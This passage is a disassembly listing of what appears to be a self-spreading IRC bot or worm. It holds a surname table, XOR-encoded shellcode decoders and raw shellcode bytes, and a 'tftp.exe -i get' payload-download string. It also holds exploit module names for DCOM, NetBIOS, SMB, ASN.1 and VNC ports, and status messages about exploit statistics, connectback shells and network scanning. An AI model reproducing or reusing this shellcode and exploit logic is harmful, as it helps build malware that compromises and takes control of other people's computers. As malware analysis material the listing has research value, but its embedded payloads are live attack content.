___:0042DC88o aCappuccio db 'Cappuccio',0 ; DATA XREF: ___:0042DC84o align 4 aCapodilupo db 'Capodilupo',0 ; DATA XREF: ___:0042DC80o align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: ___:0042DC7Co align 4 aCaperton db 'Caperton',0 ; DATA XREF: ___:0042DC78o align 10h aCapanni db 'Capanni',0 ; DATA XREF: ___:0042DC74o aCanley db 'Canley',0 ; DATA XREF: ___:0042DC70o align 10h aCammilleri db 'Cammilleri',0 ; DATA XREF: ___:0042DC6Co align 4 aCammelli db 'Cammelli',0 ; DATA XREF: ___:0042DC68o align 4 aCalnan db 'Calnan',0 ; DATA XREF: ___:0042DC64o align 10h aCage db 'Cage',0 ; DATA XREF: ___:0042DC60o align 4 aByrd db 'Byrd',0 ; DATA XREF: ___:0042DC5Co align 10h aByerly db 'Byerly',0 ; DATA XREF: ___:0042DC58o align 4 aByatt db 'Byatt',0 ; DATA XREF: ___:0042DC54o align 10h aBusetta db 'Busetta',0 ; DATA XREF: ___:0042DC50o aBurridge db 'Burridge',0 ; DATA XREF: ___:0042DC4Co align 4 aBurke db 'Burke',0 ; DATA XREF: ___:0042DC48o align 4 aBurdzy db 'Burdzy',0 ; DATA XREF: ___:0042DC44o align 4 aBurden db 'Burden',0 ; DATA XREF: ___:0042DC40o align 4 aBunton db 'Bunton',0 ; DATA XREF: ___:0042DC3Co align 4 aBullard db 'Bullard',0 ; DATA XREF: ___:0042DC38o aBudding db 'Budding',0 ; DATA XREF: ___:0042DC34o aBuchan db 'Buchan',0 ; DATA XREF: ___:0042DC30o align 4 aBrzycki db 'Brzycki',0 ; DATA XREF: ___:0042DC2Co aBrook db 'Brook',0 ; DATA XREF: ___:0042DC28o align 4 aBroca db 'Broca',0 ; DATA XREF: ___:0042DC24o align 4 aBritz db 'Britz',0 ; DATA XREF: ___:0042DC20o align 4 aBrinton db 'Brinton',0 ; DATA XREF: ___:0042DC1Co aBridges db 'Bridges',0 ; DATA XREF: ___:0042DC18o aBridgeman db 'Bridgeman',0 ; DATA XREF: ___:0042DC14o align 4 aBrewer db 'Brewer',0 ; DATA XREF: ___:0042DC0Co ; ___:0042DC10o align 10h aBrennan db 'Brennan',0 ; DATA XREF: ___:0042DC08o aBrenan db 'Brenan',0 ; DATA XREF: ___:0042DC04o align 10h aBreed db 'Breed',0 ; DATA XREF: ___:0042DC00o align 4 aBrecht db 'Brecht',0 ; DATA XREF: ___:0042DBFCo align 10h aBradach db 'Bradach',0 ; DATA XREF: ___:0042DBF8o aBradac db 'Bradac',0 ; DATA XREF: ___:0042DBF4o align 10h aBracalente db 'Bracalente',0 ; DATA XREF: ___:0042DBF0o align 4 aBoyne db 'Boyne',0 ; DATA XREF: ___:0042DBECo align 4 aBoym db 'Boym',0 ; DATA XREF: ___:0042DBE8o align 4 aBoyland db 'Boyland',0 ; DATA XREF: ___:0042DBE4o aBoyes db 'Boyes',0 ; DATA XREF: ___:0042DBE0o align 4 aBoyajian db 'Boyajian',0 ; DATA XREF: ___:0042DBDCo align 4 aBoxer db 'Boxer',0 ; DATA XREF: ___:0042DBD8o align 10h aBowers db 'Bowers',0 ; DATA XREF: ___:0042DBD4o align 4 aBourneuf db 'Bourneuf',0 ; DATA XREF: ___:0042DBD0o align 4 aBoudrot db 'Boudrot',0 ; DATA XREF: ___:0042DBCCo aBoudin db 'Boudin',0 ; DATA XREF: ___:0042DBC8o align 4 aBotosh db 'Botosh',0 ; DATA XREF: ___:0042DBC4o align 4 aBothman db 'Bothman',0 ; DATA XREF: ___:0042DBC0o aBossi db 'Bossi',0 ; DATA XREF: ___:0042DBBCo align 4 aBorden db 'Borden',0 ; DATA XREF: ___:0042DBB8o align 4 aBorack db 'Borack',0 ; DATA XREF: ___:0042DBB4o align 4 aBoorstin db 'Boorstin',0 ; DATA XREF: ___:0042DBB0o align 4 aBoone db 'Boone',0 ; DATA XREF: ___:0042DBACo align 10h aBookbinder db 'Bookbinder',0 ; DATA XREF: ___:0042DBA8o align 4 aBook db 'Book',0 ; DATA XREF: ___:0042DBA4o align 4 aBontempo db 'Bontempo',0 ; DATA XREF: ___:0042DBA0o align 10h aBoniface db 'Boniface',0 ; DATA XREF: ___:0042DB9Co align 4 aBonham db 'Bonham',0 ; DATA XREF: ___:0042DB98o align 4 aBoner db 'Boner',0 ; DATA XREF: ___:0042DB94o align 4 aBologna db 'Bologna',0 ; DATA XREF: ___:0042DB90o aBollinger db 'Bollinger',0 ; DATA XREF: ___:0042DB8Co align 10h aBolick db 'Bolick',0 ; DATA XREF: ___:0042DB88o align 4 aBolger db 'Bolger',0 ; DATA XREF: ___:0042DB84o align 10h aBlyth db 'Blyth',0 ; DATA XREF: ___:0042DB80o align 4 aBloxham db 'Bloxham',0 ; DATA XREF: ___:0042DB7Co aBloemhof db 'Bloemhof',0 ; DATA XREF: ___:0042DB78o align 4 aBloembergen db 'Bloembergen',0 ; DATA XREF: ___:0042DB74o aBloch db 'Bloch',0 ; DATA XREF: ___:0042DB70o align 10h aBlizard db 'Blizard',0 ; DATA XREF: ___:0042DB6Co aBliss db 'Bliss',0 ; DATA XREF: ___:0042DB68o align 10h aBlanke db 'Blanke',0 ; DATA XREF: ___:0042DB64o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: ___:0042DB60o align 4 aBlagg db 'Blagg',0 ; DATA XREF: ___:0042DB5Co align 4 aBlackwell db 'Blackwell',0 ; DATA XREF: ___:0042DB58o align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: ___:0042DB54o align 4 aBisho db 'Bisho',0 ; DATA XREF: ___:0042DB50o align 4 aBisema db 'Bisema',0 ; DATA XREF: ___:0042DB4Co align 4 aBir db 'Bir',0 ; DATA XREF: ___:0042DB48o aBinion db 'Binion',0 ; DATA XREF: ___:0042DB44o align 10h aBickel db 'Bickel',0 ; DATA XREF: ___:0042DB40o align 4 aBiagioli db 'Biagioli',0 ; DATA XREF: ___:0042DB3Co align 4 aBeynart db 'Beynart',0 ; DATA XREF: ___:0042DB38o aBetti db 'Betti',0 ; DATA XREF: ___:0042DB34o align 4 aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: ___:0042DB30o align 4 aBernston db 'Bernston',0 ; DATA XREF: ___:0042DB2Co align 10h aBernassola db 'Bernassola',0 ; DATA XREF: ___:0042DB28o align 4 aBernardo db 'Bernardo',0 ; DATA XREF: ___:0042DB24o align 4 aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: ___:0042DB20o align 4 aBergson db 'Bergson',0 ; DATA XREF: ___:0042DB1Co aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: ___:0042DB18o align 10h aBelloc db 'Belloc',0 ; DATA XREF: ___:0042DB14o align 4 aBellini db 'Bellini',0 ; DATA XREF: ___:0042DB10o aBellhouse db 'Bellhouse',0 ; DATA XREF: ___:0042DB0Co align 4 aBellavance db 'Bellavance',0 ; DATA XREF: ___:0042DB08o align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: ___:0042DB04o align 4 aBelfer db 'Belfer',0 ; DATA XREF: ___:0042DB00o align 10h aBelaoussof db 'Belaoussof',0 ; DATA XREF: ___:0042DAFCo align 4 aBelanger db 'Belanger',0 ; DATA XREF: ___:0042DAF8o align 4 aBehenna db 'Behenna',0 ; DATA XREF: ___:0042DAF4o aBedford db 'Bedford',0 ; DATA XREF: ___:0042DAF0o aBeder db 'Beder',0 ; DATA XREF: ___:0042DAECo align 10h aBeckman db 'Beckman',0 ; DATA XREF: ___:0042DAE8o aBean db 'Bean',0 ; DATA XREF: ___:0042DAE4o align 10h aBeal db 'Beal',0 ; DATA XREF: ___:0042DAE0o align 4 aBeacon db 'Beacon',0 ; DATA XREF: ___:0042DADCo align 10h aBayo db 'Bayo',0 ; DATA XREF: ___:0042DAD8o align 4 aBayles db 'Bayles',0 ; DATA XREF: ___:0042DAD4o align 10h aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0042DAD0o align 4 aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0042DACCo align 4 aBashevis db 'Bashevis',0 ; DATA XREF: ___:0042DAC8o align 4 aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0042DAC4o align 10h aBartoo db 'Bartoo',0 ; DATA XREF: ___:0042DAC0o align 4 aBartolome db 'Bartolome',0 ; DATA XREF: ___:0042DABCo align 4 aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0042DAB8o aBarry db 'Barry',0 ; DATA XREF: ___:0042DAB4o align 4 aBarriola db 'Barriola',0 ; DATA XREF: ___:0042DAB0o align 4 aBarnett db 'Barnett',0 ; DATA XREF: ___:0042DAACo aBarneson db 'Barneson',0 ; DATA XREF: ___:0042DAA8o align 4 aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0042DAA4o align 4 aBarberi db 'Barberi',0 ; DATA XREF: ___:0042DAA0o aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0042DA9Co align 4 aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0042DA98o align 4 aBarajas db 'Barajas',0 ; DATA XREF: ___:0042DA94o aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0042DA90o align 4 aBanta db 'Banta',0 ; DATA XREF: ___:0042DA8Co align 10h aBaltz db 'Baltz',0 ; DATA XREF: ___:0042DA88o align 4 aBallew db 'Ballew',0 ; DATA XREF: ___:0042DA84o align 10h aBallatori db 'Ballatori',0 ; DATA XREF: ___:0042DA80o align 4 aBaleja db 'Baleja',0 ; DATA XREF: ___:0042DA7Co align 4 aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0042DA78o align 10h aBailar db 'Bailar',0 ; DATA XREF: ___:0042DA74o align 4 aBagnold db 'Bagnold',0 ; DATA XREF: ___:0042DA70o aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0042DA6Co aBady db 'Bady',0 ; DATA XREF: ___:0042DA68o align 10h aBackus db 'Backus',0 ; DATA XREF: ___:0042DA64o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0042DA60o align 4 aAzima db 'Azima',0 ; DATA XREF: ___:0042DA5Co align 4 aAyling db 'Ayling',0 ; DATA XREF: ___:0042DA58o align 4 aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0042DA54o aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0042DA50o aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0042DA4Co align 10h aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0042DA48o aAurelius db 'Aurelius',0 ; DATA XREF: ___:0042DA44o align 4 aAugustus db 'Augustus',0 ; DATA XREF: ___:0042DA40o align 10h aAtkins db 'Atkins',0 ; DATA XREF: ___:0042DA3Co align 4 aArky db 'Arky',0 ; DATA XREF: ___:0042DA38o align 10h aArjas db 'Arjas',0 ; DATA XREF: ___:0042DA34o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: ___:0042DA30o align 4 aArellano db 'Arellano',0 ; DATA XREF: ___:0042DA2Co align 10h aArduini db 'Arduini',0 ; DATA XREF: ___:0042DA28o aArbia db 'Arbia',0 ; DATA XREF: ___:0042DA24o align 10h aAntos db 'Antos',0 ; DATA XREF: ___:0042DA20o align 4 aAnthony db 'Anthony',0 ; DATA XREF: ___:0042DA1Co aAnsley db 'Ansley',0 ; DATA XREF: ___:0042DA18o align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0042DA14o align 4 aAndron db 'Andron',0 ; DATA XREF: ___:0042DA10o align 4 aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0042DA0Co align 4 aAndo db 'Ando',0 ; DATA XREF: ___:0042DA08o align 10h aAndel db 'Andel',0 ; DATA XREF: ___:0042DA04o align 4 aAnand db 'Anand',0 ; DATA XREF: ___:0042DA00o align 10h aAmsden db 'Amsden',0 ; DATA XREF: ___:0042D9FCo align 4 aAmeer db 'Ameer',0 ; DATA XREF: ___:0042D9F8o align 10h aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0042D9F4o align 4 aAmaral db 'Amaral',0 ; DATA XREF: ___:0042D9F0o align 4 aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0042D9ECo align 10h aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0042D9E8o aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0042D9E4o align 4 aAlongi db 'Alongi',0 ; DATA XREF: ___:0042D9E0o align 10h aAllison db 'Allison',0 ; DATA XREF: ___:0042D9DCo aAleks db 'Aleks',0 ; DATA XREF: ___:0042D9D8o align 10h aAlda db 'Alda',0 ; DATA XREF: ___:0042D9D4o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: ___:0042D9D0o align 10h aAlavi db 'Alavi',0 ; DATA XREF: ___:0042D9CCo align 4 aAhlers db 'Ahlers',0 ; DATA XREF: ___:0042D9C8o align 10h aAdorno db 'Adorno',0 ; DATA XREF: ___:0042D9C4o align 4 aAdibe db 'Adibe',0 ; DATA XREF: ___:0042D9C0o align 10h aAdelstein db 'Adelstein',0 ; DATA XREF: ___:0042D9BCo align 4 aAddison db 'Addison',0 ; DATA XREF: ___:off_42D9B8o aAdams db 'Adams',0 ; DATA XREF: ___:0042D9B4o align 4 aAckerman db 'Ackerman',0 ; DATA XREF: ___:0042D9B0o align 4 aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_42D9ACo align 4 byte_431604 db 50h ; DATA XREF: ___:0040ABD9o ; ___:0040ABE6r db 43h, 2 dup(0) dword_431608 dd 7C7325h ; DATA XREF: ___:0040AC84o dword_43160C dd 5D73255Bh, 7Ch ; DATA XREF: ___:0040AD8Eo dword_431614 dd 3F3F3Fh ; DATA XREF: ___:loc_40AD85o ; sub_41AF2B:loc_41AFEEo dword_431618 dd 334B32h ; DATA XREF: ___:0040AD7Eo dword_43161C dd 5058h ; DATA XREF: ___:0040AD70o ; ___:0040AF7Co ... dword_431620 dd 4B32h ; DATA XREF: ___:0040AD60o ; ___:0040AF6Co ... dword_431624 dd 454Dh ; DATA XREF: ___:0040AD47o ; ___:0040AF53o ... dword_431628 dd 3839h ; DATA XREF: ___:0040AD37o ; ___:0040AF43o ... dword_43162C dd 544Eh ; DATA XREF: ___:0040AD27o ; ___:0040AF34o ... dword_431630 dd 3539h ; DATA XREF: ___:0040AD19o ; ___:0040AF26o ... dword_431634 dd 5D64255Bh, 7325h ; DATA XREF: sub_40ADD4+3Ao dword_43163C dd 5D4D5Bh ; DATA XREF: sub_40ADD4+2Co ; sub_40ADD4+57o aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40ADD4+18o ; sub_41870F+5o align 4 aSSSS db '%s|%s|%s|%s|',0 ; DATA XREF: ___:0040B0C9o align 4 a99 db '99',0 ; DATA XREF: ___:loc_40B08Bo align 4 a0D db '0%d',0 ; DATA XREF: ___:0040B065o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: ___:0040B047o ; sub_41AD74+52o off_43166C dd offset byte_4B4E55 ; DATA XREF: ___:0040B02Ao dword_431670 dd 345053h ; DATA XREF: ___:0040B020o dword_431674 dd 34h ; DATA XREF: ___:0040B014o dword_431678 dd 335053h ; DATA XREF: ___:0040B007o dword_43167C dd 33h ; DATA XREF: ___:0040AFF6o dword_431680 dd 325053h ; DATA XREF: ___:0040AFE9o dword_431684 dd 32h ; DATA XREF: ___:0040AFD8o ; =============== S U B R O U T I N E ======================================= sub_431688 proc near ; DATA XREF: ___:0040AFCBo push ebx push eax xor [eax], eax sub_431688 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dword_43168C dd 305053h ; DATA XREF: ___:0040AFADo dword_431690 dd 4E55h ; DATA XREF: ___:loc_40AF91o dword_431694 dd 3332h ; DATA XREF: ___:0040AF8Ao ; --------------------------------------------------------------------------- loc_431698: ; DATA XREF: sub_40B2A6+C4o jmp short loc_43169C ; --------------------------------------------------------------------------- loc_43169A: ; CODE XREF: ___:loc_43169Cp jmp short loc_4316A1 ; --------------------------------------------------------------------------- loc_43169C: ; CODE XREF: ___:loc_431698j call loc_43169A loc_4316A1: ; CODE XREF: ___:loc_43169Aj pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_4316A6 dw 0FFFFh ; DATA XREF: sub_40B2A6+CCw db 80h, 73h, 0Eh byte_4316AB db 0FFh ; DATA XREF: sub_40B2A6+D3w dd 0F9E243h ; --------------------------------------------------------------------------- loc_4316B0: ; DATA XREF: sub_40B2A6+A2o jmp short loc_4316B4 ; --------------------------------------------------------------------------- loc_4316B2: ; CODE XREF: ___:loc_4316B4p jmp short loc_4316B9 ; --------------------------------------------------------------------------- loc_4316B4: ; CODE XREF: ___:loc_4316B0j call loc_4316B2 loc_4316B9: ; CODE XREF: ___:loc_4316B2j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_4316BD db 0FFh ; DATA XREF: sub_40B2A6+AAw dw 7380h db 0Ch byte_4316C1 db 0FFh ; DATA XREF: sub_40B2A6+B0w dw 0E243h dd 0F9h dword_4316C8 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_40B12F+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_43172C dd 12h ; DATA XREF: sub_40B12F+3Dw aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_40B12F+79o aJ_0 db 'j',0 db 0E8h dword_431745 dd 17h ; DATA XREF: sub_40B12F+4Dw ; --------------------------------------------------------------------------- jnz short near ptr byte_43174C retn ; --------------------------------------------------------------------------- byte_43174C db 0E8h ; CODE XREF: ___:00431749j dword_43174D dd 1 ; DATA XREF: sub_40B12F+45w byte_431751 db 0, 6Ah, 0 ; DATA XREF: sub_40B12F+C2o dd 7E8h db 0, 0Fh, 84h dword_43175B dd 0FFFFFFEDh ; DATA XREF: sub_40B12F+5Dw ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 4 dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B63B+51o align 4 aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B63B+35o align 10h aSym db 'sym',0 ; DATA XREF: sub_40C3D3+164o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40BA8E+30o ; ___:0040E21Ao ... align 4 dd 5 dup(0) dword_431808 dd 0B97h ; DATA XREF: sub_401AC7+1D32r ; sub_401AC7+1D5Ao ... off_43180C dd offset sub_40EAB9 ; DATA XREF: sub_40C3D3+1E6r dword_431810 dd 0 ; DATA XREF: sub_40B901+2Eo ; ___:0040D74Aw ... dword_431814 dd 1 ; DATA XREF: sub_40BD7C+1Fr dword_431818 dd 1 ; DATA XREF: sub_40BD7C+3B3r dword_43181C dd 0 ; DATA XREF: sub_40BD7C+292r aDcom135 db 'dcom135',0 dd 63440000h, 33316D6Fh, 35h, 5 dup(0) dd 87h, 40DF3Dh, 0 dd 1, 2 dup(0) dd 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch, 40EBEFh, 0 dd 2 dup(1), 0 aNet139 db 'net139',0 align 4 dd 654E0000h, 69706174h, 393331h, 5 dup(0) dd 8Bh, 40E977h, 0 dd 2 dup(1), 0 aNet445 db 'net445',0 align 4 dd 654E0000h, 69706174h, 353434h, 5 dup(0) ; --------------------------------------------------------------------------- mov ebp, 77000001h jmp near ptr word_431952 ; --------------------------------------------------------------------------- align 4 dd 2 dup(1), 0 aAsn445_0 db 'asn445',0 align 4 dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40D584h db 2 dup(0) word_431952 dw 0 ; CODE XREF: ___:0043190Dj dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 4 dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 40D584h, 0 dd 2 dup(1), 0 aVncs db 'vncs',0 align 4 dd 54480000h, 562D5054h, 434Eh, 5 dup(0) dd 170Ch, 41B641h, 5 dup(0) dd 10100h, 0Eh dup(0) aAsn445_1 db 'asn445',0 align 4 db 2 dup(0) byte_431A2A db 1 ; DATA XREF: sub_401AC7:loc_403773r ; sub_401AC7+1CB6o aDcom135_0 db 'dcom135',0 align 4 dd 79730100h, 6Dh, 0 dd 1, 2 dup(0) ; --------------------------------------------------------------------------- jmp short loc_431A5E ; =============== S U B R O U T I N E ======================================= sub_431A4E proc near ; CODE XREF: sub_431A4E:loc_431A5Ep pop edx dec edx xor ecx, ecx mov cx, 166h loc_431A56: ; CODE XREF: sub_431A4E+Cj xor byte ptr [edx+ecx], 99h loop loc_431A56 jmp short loc_431A63 ; --------------------------------------------------------------------------- loc_431A5E: ; CODE XREF: ___:00431A4Cj call sub_431A4E loc_431A63: ; CODE XREF: sub_431A4E+Ej jo short near ptr dword_4319E4+1Ah cwde cdq cdq retn sub_431A4E endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B901+85o align 10h dword_431BE0 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B901+46o unk_431BEC db 2Dh ; - ; DATA XREF: sub_40B901+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 unk_431C0C db 2Dh ; - ; DATA XREF: sub_40B9CF+37o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 unk_431C54 db 2Dh ; - ; DATA XREF: sub_40BA3A+21o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 10h aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40BA8E+7Eo dword_431C90 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40BA8E+40o dword_431CA0 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh ; DATA XREF: sub_40BA8E+14o dd 7473694Ch, 3Ah unk_431CBC db 2Dh ; - ; DATA XREF: ___:0040BCC2o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 unk_431CF0 db 2Dh ; - ; DATA XREF: ___:0040BBD4o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 10h unk_431D20 db 2Dh ; - ; DATA XREF: sub_40BD05+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 10h unk_431D40 db 2Dh ; - ; DATA XREF: sub_40BD05+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 unk_431D5C db 2Dh ; - ; DATA XREF: sub_40BD7C+4B7o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_30 db ' Failed to start server, error: <%d>.',0 align 10h unk_431D90 db 2Dh ; - ; DATA XREF: sub_40BD7C+38Fo db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_31 db '- Failed to start server, error: <%d>.',0 unk_431DC8 db 2Dh ; - ; DATA XREF: sub_40BD7C+321o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_2 db '- Server started on Port: %d.',0 align 4 unk_431DF8 db 2Dh ; - ; DATA XREF: sub_40BD7C+26Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_32 db 'Failed to start server, error: <%d>.',0 align 4 unk_431E2C db 2Dh ; - ; DATA XREF: sub_40BD7C+1FEo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 10h unk_431E60 db 2Dh ; - ; DATA XREF: sub_40BD7C+148o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_33 db ' Failed to start server, error: <%d>.',0 align 4 unk_431E94 db 2Dh ; - ; DATA XREF: sub_40C3D3+EBo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 unk_431EBC db 2Dh ; - ; DATA XREF: sub_40C3D3+93o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431EF4 db 2Dh ; - ; DATA XREF: sub_40C3D3+3E2o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_431F34 db 2Dh ; - ; DATA XREF: sub_40C3D3+387o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_431F6C db 2Dh ; - ; DATA XREF: sub_40C3D3+317o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431FA0 db 2Dh ; - ; DATA XREF: sub_40C3D3+29Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 4 dword_431FD4 dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h ; DATA XREF: sub_40C846+92o dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 10h db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: 